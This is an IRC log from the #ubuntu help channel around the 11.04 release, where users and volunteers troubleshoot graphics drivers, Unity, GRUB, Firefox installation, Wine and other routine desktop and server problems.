[14:19] <mbn_18> How do I open a minimized app in Unity? there is no mention at the top toolbar
[14:19] <isarl> Eduard: Nope, nouveau isn't mentioned in any of the blacklists
[14:19] <ouyes> hello, I will get a thinkpad x201,but I do not know which version of ubuntu I should install into the box  10.04 10.10 11.04?
[14:20] <Eduard> isarl: wth
[14:20] <Dr_Willis> trailoryo:  the omgubuntu blog site has a cheatsheet wallpaper that shows the keybindings.. askubuntu web site also has a list
[14:20] <budo> hello. anyone here familiar with puppylinux?
[14:20] <Dr_Willis> budo:  they have #puppylinux i belive.
[14:20] <pfifo> mbn_18, click the app icon in the panel
[14:20] <mbn_18> pfifo: Which panel?
[14:20] <budo> No one is in there to answer any questions.
[14:20] <budo> Or, no one is chatting.
[14:20] <pfifo> mbn_18, I have no idea what were calling it, the one on the left
[14:20] <isarl> budo, asking about puppylinux in a channel about #ubuntu isn't likely to get good results.
[14:21] <Eduard> isarl: it should be there... check again 'blacklist nouveau'
[14:21] <Dr_Willis> budo:  its not ubuntu. so its OT for here.
[14:21] <bazhang> !ot | budo
[14:21] <ubottu> budo: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[14:21] <Dr_Willis> budo:  they got forums also
[14:21] <ajin> hey, guys, when wayland display server will be available for ubuntu?
[14:21] <OY1R> last night someone told me to reinstall grub, now grub is broken.
[14:21] <mbn_18> pfifo: Its not there. the instance is working and in the old view a small icon apeared on the top menu
[14:21] <bazhang> ajin, many years from now
[14:21] <Morkeleb> i intsalled ubuntu 11.4 and tried to install other languages, but none are found. it cannot connect to us.archive.ubuntu.com - so i changed the update server by detecting the best one. now i cannot select any laguange at all (none are listed anymore)
[14:21] <step21> ouyes, google thinkpad x201 and check which version has the most support for it :)
[14:21] <MuadDibber> Hi. Ubuntu just updated to 11.04. But Whatever i select in grub the screen turns black
[14:21] <budo> k, thanks ubottu
[14:21] <Eduard> isarl: if it was not present nvidia would be conflicting with nouveau
[14:21] <Dr_Willis> budo:  ive basically given up on Puppylinux. except for very very low end machines and special cases
[14:21] <Morkeleb> how to fix this?
[14:21] <pfifo> mbn_18, im not sure then
[14:22] <Tuplad> so... another nvidia talk. I've just installed Ubuntu on my laptop. the usb live version worked just fine, when I installed it it told me to get drivers, because unity can't be run.
[14:22] <mbn_18> pfifo: thx
[14:22] <ouyes> step21, google is not as smart as people here
[14:22] <Tuplad> installed nvidia, now I have no video whatsoever :(
[14:22] <Dr_Willis> Tuplad:  whats your video chipset?
[14:22] <isarl> Eduard: ls /etc/modprobe.d -> {alsa-base,blacklist-ath_pci,blacklist,blacklist-firewire,blacklist-framebuffer,blacklist-modem,blacklist-oss,blacklist-rare-network,blacklist-watchdog,dkms,libpisock9}.conf
[14:22] <ajin> bazhang: TKS
[14:22] <Tuplad> Dr_Willis: Nvidia GT540m - I downloaded from the site, installed, rebooted... now I'm in TTY trying to fix it.
[14:22] <step21> ouyes, but as people on google, people here just say what they think. Basically it should run, there is no clear better
[14:22] <Ignatus> seems to me there's alot of us having problems with nvidia and unity/jockey in 11.04
[14:23] <Eduard> isarl: try apt-get install nouveau
[14:23] <ajin> bazhang: i just found that xorg is the cpu-killer in summer
[14:23] <Ignatus> funny thing, it worked in beta1, beta2 broke it, now it's semi broken
[14:23] <isarl> Ignatus: a friend of mine was complaining about Unity, too, but I don't have many more details.
[14:23] <pfifo> Ignatus, nvidia gts250 here, works falwless
[14:23] <Eduard> isarl: strange as it may seem, but maybe it somehow got uninstalled
[14:23] <isarl> Eduard: Okay, will do.
[14:23] <Dr_Willis> Tuplad:  downloaded from what site? I use the drivers included in the repositories.. not any from nvidia.com
[14:23] <Tuplad> Ignatus: indeed
[14:23] <OY1R> i got this error when i tried to boot http://pastebin.com/i2ZahWqH , so i was told to reinstall grub now when i boot the laptop stops at a grub_ prompt
[14:23] <isarl> Eduard: unable to locate package nouveau.
[14:23] <Tuplad> Dr_Willis: the ones from repos didn't work at all, I downloaded from nvidia.com
[14:24] <Ignatus> it works fine on my desktop tower, but my laptop is a big no go. funny...alsmot
[14:24] <Dr_Willis> Tuplad:  no idea on those. I just use the ones from the repos.
[14:24] <Tuplad> Dr_Willis: the one in repos don't work either, I can uninstall the nvidia.com ones
[14:24] <pfifo> OY1R, it looks like your using a grub.cfg from an older install
[14:24] <Ignatus> oh well, if there's no fix for it yet, i'll just have to make do with classic for now
[14:24] <Eduard> isarl: damn, sorry i don't have any other ideas. Though you should rename your xorg.conf and remove nvidia driver. Maybe it will offer you limited graphics mode after restart.
[14:25] <Ignatus> another problem on my dekstop though, i've got no volume slider no more, it says just waiting for sound system. but i have sound working. ideas?
[14:25] <alienkid10> who was just helping me?
[14:25] <isarl> Eduard: I currently have four packages installed beginning with "nvida-", should I remove all of those as well?
[14:25] <Eduard> isarl: if not, you can always rename xorg.conf back and install your nvidia back
[14:25] <alienkid10> I think it was set21 but he isn't here anymore
[14:25] <Eduard> isarl: list them please
[14:25] <MuadDibber> Anyone idea About black screen?
[14:25] <step21> OY1R, something seems wrong with that install anyway ... from where did you reinstall it and did you have a special layout?
[14:26] <step21> alienkid10, me I guess ...
[14:26] <step21> ?
[14:26] <isarl> nvidia-{173-modaliases,96-modaliases,current-modaliases,settings}
[14:26] <alienkid10> step21: yeah
[14:26] <alienkid10> step21: ok everything checks out
[14:26] <OY1R> step21, reinstalled from liveCD and just standard layout, everything on one partition.
[14:27] <alienkid10> it does se root= and set=root tho
[14:27] <alienkid10> set root=*
[14:27] <mikebeecham> hi guys...has anyone seen windows flickering when you drag them around the desktop. If so, do you know what causes it?
[14:27] <Morkeleb> strange language install works now after updating server and restaring language support (it checked for languages again)
[14:27] <alienkid10> thye both point to the right drive bu one does it using uuid (set=root) one does it like sdb,msdos2 (set root=)
[14:28] <alienkid10> they*
[14:28] <cfc_{Pawpad}> how do i upgrade on a server from 10.10 to 11.04
[14:28] <step21> OY1R, weird ... if you don't have any data to lose, I think the easiest would be to reinstall and make sure that it install grub in the mbr
[14:28] <ajin> bazhang: wayland is already available on ubuntu11.04
[14:29] <alienkid10> step21: I'll paste bin my menuentry
[14:29] <isarl> Eduard: there are a few packages not named "nouveau" that might be what we're looking for: libdrm-nouveau1a (and $SAME-debug), xserver-xorg-video-nouveau (and $SAME-dbg), nouveau-firmware ?
[14:29] <ajin> bazhang: it doesn't make much sense for end users, but for develpers
[14:29] <isarl> Eduard: the nvidia packages I have are nvidia-{173-modaliases,96-modaliases,current-modaliases,settings}
[14:29] <bazhang> ajin, only experimental. its broken
[14:29] <step21> alienkid10, okay. did you check /var/log/syslog
[14:29] <ajin> bazhang: yeah
[14:29] <OY1R> i would rather not reinstall, it's been a bit of a fuzz to get everything up and running
[14:30] <alienkid10> step21: no not yet. Here's the paste: http://pastebin.com/sRuzSt0K
[14:30] <Eduard> isarl: write the nvidia package names down on a sheet of paper and remove them
[14:30] <step21> isarl, xserver-xorg-video-nouveau iirc
[14:30] <Flynsarmy> jrib: when i try //<ip>/C i get mount error(13): Permission denied however when i use //<hostname>/C I get No address associated with hostname. any ideas on how to get IP working?
[14:30] <deena> Hi is it required to  install ATi/AMD proprietary FGLRX graphics Driver or not if i am able to use unity
[14:31] <step21> deena, if you are already able to use it, it si not neccessary
[14:31] <expedion> Hey
[14:31] <pfifo> deena, no there is a 2d version of unity
[14:31] <Flynsarmy> jrib: googled it and the syntax here http://opensuse.swerdna.org/susesambacifs.html#hide is slightly different to the one in the doc you linked me to
[14:31] <Eduard> isarl: on the nouveau part i'm not sure. Btw, i got to go. If after removing drivers and renaming xorg.conf and afterwards restarting pc you don't get graphics back try to install package which step21 specified
[14:31] <KaneuA> Guys, I have a question for you.
[14:31] <Eduard> and restart again. good luck'
[14:31] <isarl> Eduard: Thank you for your help; have a nice day. =)
[14:32] <alienkid10> step21: I don't know what I'm lookig for in syslog
[14:32] <deena> i am able to run 3D games successfully then i hope not required to install ATI driver
[14:32] <Flynsarmy> jrib: strike that - same syntax. just not sure how to pass that permission denied error. i was using sudo
[14:32] <expedion> I am having trouble with unity and cairo atm. For one, if i enable cairo and use its full panel gui, the dock of unity on the left, still remains. 2nd of all my upper dock keeps crashing sometimes when i disable and enable unity again
[14:32] <dibs> Incarus6: still fails, need sleep though so will try again tomorrow maybe. thanks
[14:32] <terry> What is the default IRC client for 10.04 ?
[14:32] <basuki> hi
[14:32] <expedion> Im using ubuntu 11.04
[14:32] <step21> alienkid10, just paste the last few lines or anything that looks like errors
[14:32] <terry> Or does it not come with one?
[14:32] <Incarus6> dibs, sorry
[14:32] <deena> if i install i am not able to use unity it says clearly that i dont have hardware card but i have 215mb on board graphics card available
[14:33] <Sidewinder1> terry: X-Chat
[14:33] <terry> Sidewinder1: That's what I thought.... Ok.
[14:33] <expedion> So how do I make Unity and Compiz/unity work peacefully together when i change theme in cairo
[14:33] <terry> Sidewinder1: If someone does not have Xchat, they they must not have a full install.  Right?  Or...?
[14:33] <Sidewinder1> terry: it's under Applications-->Internet
[14:33] <expedion> So that compiz/unity adapt itself to the settings of cairo, and not remain there in its place as a prick :P
[14:33] <bazhang> terry, you can install it
[14:33] <BKTech86> hi, how can I add an entry to grub 2?
[14:34] <alienkid10> here: http://pastebin.com/pJWStJQT if you need more then I can paste it too
[14:34] <bazhang> empathy is the default iirc
[14:34] <isarl> step21: Hm, I already had the nouveau package installed.  Moving xorg.conf and/or deleting my nvidia drivers seems to have done it.  Thank you for your help, as well.
[14:34] <Sidewinder1> terry: That's a question I can not answer.
[14:34] <nerdshell> I try to install firefox 4, I download the firefox.tar.bz and I don't no how to install it, I don't find the make file, any help please?
[14:34] <step21> deegee_, well, everything has some graphics card. probably yours (especially if it is on-board) is not sufficient.
[14:34] <bazhang> nerdshell, what version of ubuntu
[14:34] <step21> isarl, good to hear
[14:34] <alienkid10> also grub4dos is loading (hd1,1)/boot/grub/core.img
[14:34] <isarl> step21: Whoa, not so fast, maybe..  apparently I "do not have the hardware required to run Unity."
[14:35] <nerdshell> bazhang: 10.10
[14:35] <paideia> hi, I'm trying to download flash video streams with rtmpdump, for a start I'm trying to get those parameters with rtmpsuck. Any one heres know the expected behaviour of rtmpsuck..?
[14:35] <bazhang> !fx4 | nerdshell please see this
[14:35] <ubottu> nerdshell please see this: Firefox 4 is the current stable version of Firefox. Current versions of Ubuntu do not have it (see !latest), but there is an unofficial and unsupported PPA that you can use by running the following command: sudo add-apt-repository ppa:mozillateam/firefox-stable && sudo apt-get update && sudo apt-get install firefox
[14:35] <expedion> Guys ,any solution?
[14:35] <Sidewinder1> terry: some folks use irissi but you have to install it
[14:35] <pfifo> paideia, last i check rtmpdump is broken
[14:35] <bazhang> paideia, any reason not to use the firefox add on for that?
[14:35] <Akashaa> hi! I've just installed ubuntu lucid, but it does not start. I've already reinstalled grub, but I alwas get to the grub prompt. any ideas?
[14:35] <expedion> can anyone actually read my messages? Im using Xirc chat for the first time
[14:35] <Dr_Willis> that FF4 factouid needs updated a little bit. :)
[14:36] <BKTech86> does anyone know how to add an entry manually to grub2?
[14:36] <bazhang> expedion, yes
[14:36] <alienkid10> expedion: I can
[14:36] <nerdshell> bazhang: thanks a lot, but what's the problem with the .tar I downloaded from mozilla.com
[14:36] <expedion> Ok, thank goodness...
[14:36] <step21> alienkid10, maybe paste some more ... looks normal so far
[14:36] <Dr_Willis> BKTech86:  edit the /etc/grub.d/40_custom file - is one way.
[14:36] <bazhang> BKTech86, read the grub2 wiki?
[14:36] <expedion> Cause im having a problem with unity/cairo that id like to have help with
[14:36] <bazhang> nerdshell, no need for it really
[14:36] <isarl> step21: should I have installed nouveau-firmware as well..?
[14:37] <step21> isarl, yes, if it is not that could help
[14:37] <Dr_Willis> nerdshell:  it wont auto-upgrade i belive. and it wont install for everyone on the system,
[14:37] <step21> i thought it would be a required dependency anyway
[14:37] <paideia> bazhang, not particularly, I just wanted to have an automated way of watching a movie from the shell...
[14:37] <Calz> hey, how could I limit my bandwidth ?
[14:37] <zizban> A lot people have been having issues with Nvidia and Unity.
[14:37] <zizban> This isn't the first time I've heard this error
[14:37] <isarl> step21: Whoa, cool, kernel panic!
[14:37] <expedion> Ive installed cairo and I changed the theme to japanese dock. Now when I enable this, the unity dock still remains and doesnt go away, so the japanese dock overlaps the unity dock, so im left with 2 different docks (themes) running.
[14:37] <alienkid10> I found something
[14:37] <expedion> How can I solve this issue?
[14:37] <step21> bazhang, doesn't natty have fx4?
[14:38] <Dr_Willis> !info global-menu
[14:38] <isarl> step21: "Fatal machine check on current CPU"; it rebooted itself.
[14:38] <ubottu> Package global-menu does not exist in natty
[14:38] <bazhang> step21, he's on 10.10
[14:38] <nerdshell> Dr_Willis: you advise me not installing it?
[14:38] <Dr_Willis> nerdshell:  use teh PPA method.. forget the tar.gz
[14:38] <step21> isarl, umh, from what?
[14:38] <BKTech86> Dr_Willis: how do i know which hdX,X to use, given my partition is /dev/sda2?
[14:38] <alienkid10> step21: near the top of this: http://pastebin.com/y4kPnqWP
[14:38] <BKTech86> Dr_Willis: nvm, found the info thanks
[14:38] <isarl> step21: I imagine from trying to use the new nouveau-firmware package… I installed it, then logged out and tried logging in again so Unity would start.
[14:38] <expedion> Oh boy, Im just not bein heard at all :(:(
[14:38] <Dr_Willis> BKTech86:  sda = hd1 i think. sda2 = 2 I think.. grub2 starts ONE at 1,, and the other at 0 (whioch i always forget which way)
[14:38] <isarl> step21: When I tried to log in, kernel panic!
[14:39] <nerdshell> Dr_Willis: ok, I just wanna understand why the tar.gz doesn't work, shouldn't it contain a makefile normally ?
[14:39] <ajin> UNITY is SO wonderful
[14:39] <glda19> how used pam ore pkcs11 and pkcs15
[14:39] <bazhang> expedion, sure you are, no one has an answer at the moment
[14:39] <Dr_Willis> nerdshell:  its NOT the source.. its a precompiled binary.
[14:39] <pfifo> !jp | expedion
[14:39] <ubottu> expedion: 日本語の場合は #ubuntu-jp または #kubuntu-jp を参照して下さい
[14:39] <expedion> pfifo, what did u do.
[14:39] <Dr_Willis> nerdshell:  extract it and run firefox fgrom the direcyory it makes.. if you want to.
[14:39] <Dr_Willis> nerdshell:  you are better off using the PPA
[14:39] <Incarus6> pfifo, sure hes speaking japanese? I think just no one knows the answer
[14:39] <bazhang> pfifo, he's speaking english
[14:39] <step21> isarl, maybe better after restart?
[14:40] <isarl> step21: That's the hope! =)
[14:40] <step21> alienkid10, mmmh. what file system on sdb1 (the usb drive i presume)?
[14:40] <expedion> I hope i do get an answer, because i want to use cairo in its decent form so bad.
[14:40] <expedion> The japanese theme on it just looks so nice.
[14:40] <pfifo> expedion, Incarus6 bazhang, if hes having trouble with a japanese dock ,there is a good chance japanese users know how to fix it
[14:40] <ajin> i just cant help wondering why so many people are cursing it
[14:40] <expedion> Noooo
[14:40] <Incarus6> pfifo, thats the name ;)
[14:40] <cfc_{Pawpad}> guys is there away to change language on a server version with out reinstall it???
[14:40] <nerdshell> Dr_Willis: I didn't get you... when I extract it, I found a folder named "firefox" there are binaries, images in it, how can I install it (just to know about it, I'll use the PPA méthode)
[14:40] <bazhang> pfifo, thats hardly a way to go
[14:40] <Dr_Willis> ajin:  its not what people are used to. and it  makes them change their 'work flow'
[14:40] <alienkid10> step21: I need to eat breakfast I'll stay logged in but PM me anything you need to tell me
[14:41] <expedion> Its not a japanese languaged dock, it's a theme called like that in Cairo-Dock.
[14:41] <pfifo> Incarus6, ohh well in that case maybe not
[14:41] <Dr_Willis> nerdshell:  in that dir. You run the proper binary. you dont 'install' it..  you run it from that Directory
[14:41] <step21> alienkid10, okay
[14:41] <Incarus6> Maybe he's speaking chinese and that's the reason, why no one answers..
[14:41] <step21> alienkid10, just ping when you are back
[14:41] <expedion> incarus6: Am i speaking chinese lol ?:P
[14:41] <ajin> Dr_Willis: yeah~;-)
[14:41] <glda19> hwo used pam pkcs11 and pkcs15
[14:42] <Incarus6> !zn | expedion
[14:42] <Incarus6> !cn | expedion
[14:42] <ubottu> expedion: For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[14:42] <Dr_Willis> ajin:  and the fact unity basically refuses to run on my systmes untill i install the proper nvidia drivers.. is really annoying
[14:42] <expedion> OMG am I speaking chinese lol
[14:42] <isarl> step21: Well, no kernel panic this time, but I still don't seem to have compositing.  nothing in the "Additional Drivers" settings is selected, either, although there are 3 options.
[14:42] <Incarus6> expedion, nevermind ;) did you try to remove it?
[14:42] <nerdshell> Dr_Willis: ok, thanks, why should the PPA be better then ?
[14:42] <expedion> Remove cairo?
[14:42] <redunndancy> how can i disable the unity side bar?? I just updated my system to ubuntu 11.04 and its now stuck in there
[14:42] <Dr_Willis> nerdshell:  you can install it system wide.. and it will update...
[14:42] <Incarus6> expedion, remove that japanese thing
[14:42] <expedion> U know, I tried to disable the unity from compiz so I can just run Cairo only in stead, but that leaves the upper and the left side untampered.
[14:42] <Dr_Willis> redunndancy:  select classic desktop at the GDM login for the old gnome.
[14:43] <ajin> Dr_Willis: unity uses openGL to run correctly and smoothly
[14:43] <nerdshell> Dr_Willis: system wide?  what does that exactly mean please?
[14:43] <expedion> Sort of like a unaltered, unused space.
[14:43] <Dr_Willis> nerdshell:  for all users..
[14:43] <expedion> that the unity docks used up, is just not used by cairo.
[14:43] <ravn> hi folks, I have problems with grub (again, what are the package perople of this package doing??). I installed ubuntu 10.10 on an old laptop which worked w.o. any problem, but after the last update I get grub out of disk. I have tried to reinstall grub, but it does not make any difference, what to do?
[14:43] <Incarus6> expedion, sorry, I can't help you ;) I'm using KDE
[14:43] <Stereocaulon_> Incarus6, thanks, it worked. I'm on Natty now.
[14:43] <ajin> Dr_Willis:  so you need your VGA fully driven
[14:44] <welloong>  /join #ubuntu-hk
[14:44] <expedion> What's better though, KDE or Gnome?
[14:44] <nerdshell> Dr_Willis: yeah okay, I got it, I got it, but why doesn't Canonical support it yet?
[14:44] <step21> isarl, if nouveau is not proprietary, it will not shop up in add. drivers
[14:44] <expedion> Any difference between KDE and Gnome, incarus.
[14:44] <expedion> Incarus6
[14:44] <bazhang> expedion, ask bestbot in #ubuntu-bots dont poll here
[14:44] <isarl> step21: how can I tell nouveau is actually being used?
[14:44] <nerdshell> welloong:  who can you display special commands instead of making Nickserv interpreting them, like you did now ?
[14:45] <Incarus6> expedion, of course, a lot differs. If you love heavy-weighted beautiful desktops, then use KDE, if not gnome ;)
[14:45] <step21> isarl, sec
[14:45] <Incarus6> Stereocaulon_, perfect. I go to go ;)
[14:45] <Dr_Willis> nerdshell:  in 11.04 they do i belive..
[14:45] <expedion> Heavy weighted? As in it takes alot of memory?
[14:45] <Dr_Willis> !info firefox
[14:45] <ubottu> firefox (source: firefox): Safe and easy web browser from Mozilla. In component main, is optional. Version 4.0+nobinonly-0ubuntu3 (natty), package size 13770 kB, installed size 28684 kB
[14:45] <Antilect> !info flamewar
[14:45] <ubottu> Package flamewar does not exist in natty
[14:45] <Stereocaulon_> Incarus6, have a lovely day :-D
[14:45] <Incarus6> expedion, ram and hd, yes ;)
[14:45] <Antilect> Same to you :)
[14:45] <Incarus6> Stereocaulon_, ty, you too ;)
[14:45] <expedion> I see
[14:46] <nerdshell> Dr_Willis: okay I installed it yesterday, but I had wifi problems, so I got back to Maverik
[14:46] <Antilect> I live 64-bit ^^ Finally 12GB RAM, finally
[14:46] <Antilect> *love
[14:46] <Dr_Willis> !pae
[14:46] <ubottu> To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info
[14:46] <Incarus6> Dr_Willis, I agree, I'm using a PAE-Kernel ;)
[14:46] <Antilect> Any good channels on freenode worthy to hang in? :)
[14:46] <Antilect> except this shiny lot of course
[14:46] <Stereocaulon_> Antilect, and Ubuntu will always recommend to download the 32 bits edition, kind of conservative, don't you agree?
[14:47] <Dr_Willis> ive heard that the pae kernel is a bit slower then an actual 64bit kernel however.. (i never use pae)
[14:47] <coz_> Antilect,  this one is a good channel
[14:47] <thiebaude> ubuntu-offtopic, Antilect
[14:47] <medfly> hi, where does ubuntu normally mount a CD?
[14:47] <medfly> I am trying to mount an iso as a CD so that wine recognizes it by default :-D
[14:47] <Stereocaulon_> medfly, in /media/cdrom0
[14:47] <Sidewinder1> Antilect, You could always try #ubuntu-offtopic
[14:47] <medfly> thankyou
[14:47] <Incarus6> Dr_Willis, according to phoronix, sometimes the pae kernel is slower, and sometimes the "normal" kernel
[14:47] <Stereocaulon_> medfly, np
[14:48] <deshymers> can anybody recommend a hdd cloning tool?
[14:48] <Eduard> Guys, how do i bypass broken dependencies problem with nvidia-96 driver in 11.04?
[14:48] <Eduard> Maybe downgrade some packages?
[14:49] <anthony_> hi there.  I upgraded to 11.04 last night and had to reinstall deskbar-applet.  it seemed to install ok through apt-get but now I can't add it to the panel - it isn't there in the list.  any ideas?
[14:49] <Incarus6> Eduard, don't downgrade. normally it should work: http://packages.ubuntu.com/natty/nvidia-96
[14:49] <Eduard> the error is: http://paste.ubuntu.com/601333/
[14:49] <Stereocaulon_> deshymers, a hdd-cloning tool? you can use dd if it's not mounted but that's a bit low-level
[14:49] <Eduard> Incarus6: see the link
[14:50] <medfly> Stereocaulon_: sigh, doesn't seem to have the result I expected
[14:50] <Incarus6> Eduard, which mirror are you using?
[14:50] <Sidewinder1> Eduard, How 'bout Clonezilla?
[14:50] <Stereocaulon_> medfly, I'm used to Wine, what are you trying to achieve?
[14:50] <Eduard> Incarus6: dunno, out of the box default 11.04 install
[14:50] <deshymers> Stereocaulon_: kinda hoping for a tool that I can boot into from usb, need to take windows off one hdd and put ubuntu on that one
[14:50] <Guest25007> yahoo messanger
[14:50] <Eduard> Sedewinder1: whats CloneZilla?
[14:51] <medfly> Stereocaulon_: I have an ISO of a game. I want to open it up with wine.
[14:51] <nerdshell> Dr_Willis: so if I understand, for software, we can install with a .deb file, with a make file or with a binary, and the binary is not system wide, right?
[14:51] <Vessago> hello every one... can anyone help me with squid3 config... please
[14:51] <Incarus6> Eduard, have a look at: https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers/+bug/741930
[14:51] <ubottu> Ubuntu bug 741930 in nvidia-graphics-drivers-96 (Ubuntu) "[natty] nvidia binary packages for older cards - dependencies not met" [Undecided,Confirmed]
[14:51] <Sidewinder1> Sorry,Ed, that was for deshymers...
[14:51] <Dr_Willis> nerdshell:  if its in your users home.. it wont be for all users.
[14:51] <Stereocaulon_> medfly, just mount the ISO with cdemu
[14:51] <step21> isarl, check /var/log/Xorg.0.log (the end) for the driver used and something like dri = 1 or 'enabled or so
[14:51] <Dr_Willis> nerdshell:  its best to use the Repositories or PPA's
[14:51] <cousin_mario> hello
[14:51] <deshymers> Sidewinder1: I'll have a look thanks
[14:51] <cousin_mario> to whom should I report a probable installer bug?
[14:51] <Vessago> an getting proxy refusing connections
[14:52] <Sidewinder1> deshymers, OK
[14:52] <ajaytripi> Hello people... i need help regarding natty installation
[14:52] <Dr_Willis> !bugs | cousin_mario
[14:52] <ubottu> cousin_mario: If you find a bug in Ubuntu or any of its derivatives, please file a bug using the command « ubuntu-bug <package> » - See https://help.ubuntu.com/community/ReportingBugs for other ways to report bugs - Bugs in/wishes for the IRC bots (not Ubuntu) can be filed at http://bugs.launchpad.net/ubuntu-bots
[14:52] <Guest25007> how to download rynga in ununtu
[14:52] <medfly> Stereocaulon_: I mounted it with -o loop... what else must I do
[14:52] <nerdshell> ajaytripi: just post your question directly
[14:52] <medfly> it works that way
[14:52] <medfly> wine just doesn't recognize it :p
[14:52] <ajaytripi> i am getting an initramfs could not mount /dev/loop0 error while installing
[14:52] <cousin_mario> Dr_Willis: I'm not sure about the package, it's something in the installation procedure that doesn't work properly.
[14:53] <Dr_Willis> medfly:  wine  has its own configs where you can tell it to look for a 'fake' cd.
[14:53] <Guest25007> rynga
[14:53] <Guest25007> voice call
[14:53] <nerdshell> Dr_Willis: where do I have to put the binaries to be system wide? PPA do not download and install .deb ?
[14:53] <Guest21274> Hello. I've bought 3G wireless net. It's not supposed to need a password. On PCLOS it doesn't ask for one and connects automatically. But on Ubuntu it always asks for a password. The problem is, I do not know the password.
[14:53] <Incarus6> Eduard, have you tried the official driver from nvidia.com?
[14:53] <medfly> Dr_Willis: ah, okay, I think I found where
[14:53] <Eduard> Icarus6: not yet, you think i should try it
[14:53] <Guest21274> According to the provider there is no password
[14:53] <Dr_Willis> nerdshell:   it would take some work - nomrlly such things go to /opt/
[14:53] <t0th> hi
[14:53] <t0th> i have a cronjob
[14:53] <Stereocaulon_> medfly, well, you can open Wine configuration and mount it specifically as a CDROM drive (try the button "Show Advanced")
[14:53] <Eduard> ?
[14:53] <isarl> step21: tail of /var/log/Xorg.0.log shows a lot of lines with "NOUEVEAU(0)" in them
[14:53] <Incarus6> Eduard, http://www.nvidia.com/Download/Find.aspx?lang=en-us
[14:54] <alienkid10> step21: back
[14:54] <Dr_Willis> nerdshell:  PPA's use debs . they are a expansion of the normal reposoptury system,
[14:54] <pfifo> Guest21274, try leaving the password field blank
[14:54] <t0th> * * * * * wget http://www.test.com/ > file
[14:54] <Guest21274> I've tried
[14:54] <t0th> why i have file file.1 file.2
[14:54] <ajaytripi> Dr_Willis: plz help... i am getting an initramfs could not mount /dev/loop0 error while installing
[14:54] <Guest21274> pfifo: I've tried
[14:54] <krad> root@vps:~# chroot /mnt/tmp/root, chroot: cannot run command `/bin/bash': No such file or directory <-- how can i deal with that?
[14:54] <nerdshell> nerdshell: so the debs are actually the best and the easiest way, right?
[14:54] <Dr_Willis> ajaytripi:  means little to me. You did check the iso image befor and after burning?
[14:54] <step21> isarl, could be good ... could you paste it?
[14:54] <step21> alienkid10, hey
[14:54] <alienkid10> step21: any Idea if I can do anything?
[14:55] <isarl> step21: I also get (when grepping for "dri"), AIGLX: dlopen of /usr/lib32/dri/nouveau_dri.so failed
[14:55] <Eduard> Incarus: latest driver version for my card: 96.43.19 . It's the that was released to give ubuntu 10.10 support. No update to it yet...
[14:55] <alaing> newbie question any good easy editors that would allow me to open a apache log file from a ssh client command line?
[14:55] <ajaytripi> Dr_Willis: yes the cd is working properly on my desktop..
[14:55] <krad> /bin/bash exists
[14:55] <Vessago> http://pastebin.com/Z8TaGubD <----- can someone pls have a look at my squid.conf and maybe tell me whats wrong, proxy is refusing connections..... thanks
[14:55] <romankrv> hi. I can selected something and click to middle button mouse But what is keyboard shortcut?
[14:55] <nerdshell> ajaytripi: why don't you try the upgrade ?
[14:55] <Dr_Willis> ajaytripi:  you mean it worked on a differnt machine?
[14:55] <isarl> step21: sec, I'll paste my entire /var/log/Xorg.0.log somewhere
[14:55] <alienkid10> step21: btw sdb1 is an NTFS partition
[14:55] <t0th> any?
[14:55] <quibbler> I've just done a fresh install of ubuntu 11.04 and I have no sound - I got sound working in 10.10 by uninstalling pulseaudio and installing alsa -does anyone know what I can do to try and get pulseaudio working in 11.04
[14:55] <ajaytripi> nerdshell:I am doing a fresh install... removed Windows
[14:55] <Stereocaulon_> medfly, and...did it work for you?
[14:56] <ajaytripi> Dr_Willis: yes
[14:56] <krad> root@vps:~# chroot /mnt/tmp/root, chroot: cannot run command `/bin/bash': No such file or directory <-- how can i deal with that? /bin/bash exists!
[14:56] <medfly> hey!
[14:56] <Incarus6> Eduard, an Nouveau is not an option?
[14:56] <medfly> it works! ^_^
[14:56] <medfly> Stereocaulon_: I was about to say no, but it does now.
[14:56] <nerdshell> ajaytripi: when do you exactly get the error?
[14:56] <step21> isarl, try force reinstall all x-related packages? or at least reconfigure? does it say why it failed?
[14:56] <Stereocaulon_> medfly, what game are you installing?
[14:56] <Dr_Willis> Hmm.. pulse audio uses alsa. its a layer above alsa. so exactly what did you insrtall quibbler?
[14:56] <medfly> Stereocaulon_: diablo 2 :P
[14:56] <alienkid10> step21: sdb is ntfs 445gb partition with sdb2 a 20gb ext3 partition
[14:56] <krad> hi. i'm doing: root@vps:~# chroot /mnt/tmp/root, chroot: cannot run command `/bin/bash': No such file or directory <-- how can i deal with that? /bin/bash exists!
[14:56] <Guest21274> Anyone here familiar with connecting 3G?
[14:57] <ajaytripi> nerdshell: when booting from the cd.. it says cannot mount /dev/loop0 on //filesystem squashfs
[14:57] <alienkid10> sdb1 is ntfs*
[14:57] <Stereocaulon_> medfly, yes, that's a classic, it does contain DRM, so you might have some trouble with that.
[14:57] <Eduard> Incarus6: nouveau = oddly glitched cursor. If got ideas on how to fix that, i'll be happy to use it. Bcus now i booted 11.04 with nomodeset option
[14:57] <Dr_Willis> medfly:  you can copy all files from the iso to your wine's c: and install them from there. but that wont help disk copy protection
[14:57] <Dr_Willis> medfly:  no-cd fix's may be needed
[14:57] <isarl> step21: 803 lines of it, pasted here for your reading enrichment: pastebin.com/LtFEnHsY
[14:57] <medfly> Dr_Willis: it's okay, I just mounted it with -o loop and told wine it's a CD.
[14:57] <nerdshell> ajaytripi: sur the cd was not damaged, I did a fresh install quit several times, and I never got errors
[14:57] <Vessago> http://pastebin.com/Z8TaGubD <---- any ideas
[14:58] <Incarus6> Eduard, you could unpack the deb file and copy every file to the right directory and hope that this will work
[14:58] <ajaytripi> nerdshell: yes.. i hav successfully installed natty from that cd on my desktop
[14:58] <step21> alienkid10, oh okay ... does it mention sdb2 somewhere in the logs? I don't see it
[14:58] <Incarus6> Eduard, or you change the dependencies of the deb, dont know how to do that
[14:58] <step21> isarl, reading
[14:58] <alienkid10> step21: will look
[14:58] <Guest21274> is there a net work manager better than the default?
[14:59] <alienkid10> step21: yes
[14:59] <nerdshell> ajaytripi: sur you burned the right OSI, the 32 or the 64?
[14:59] <welloonger> never choose x64...
[14:59] <Stereocaulon_> Guest21274, please tell me what kind of trouble you are running into instead of just dismissing a program please.
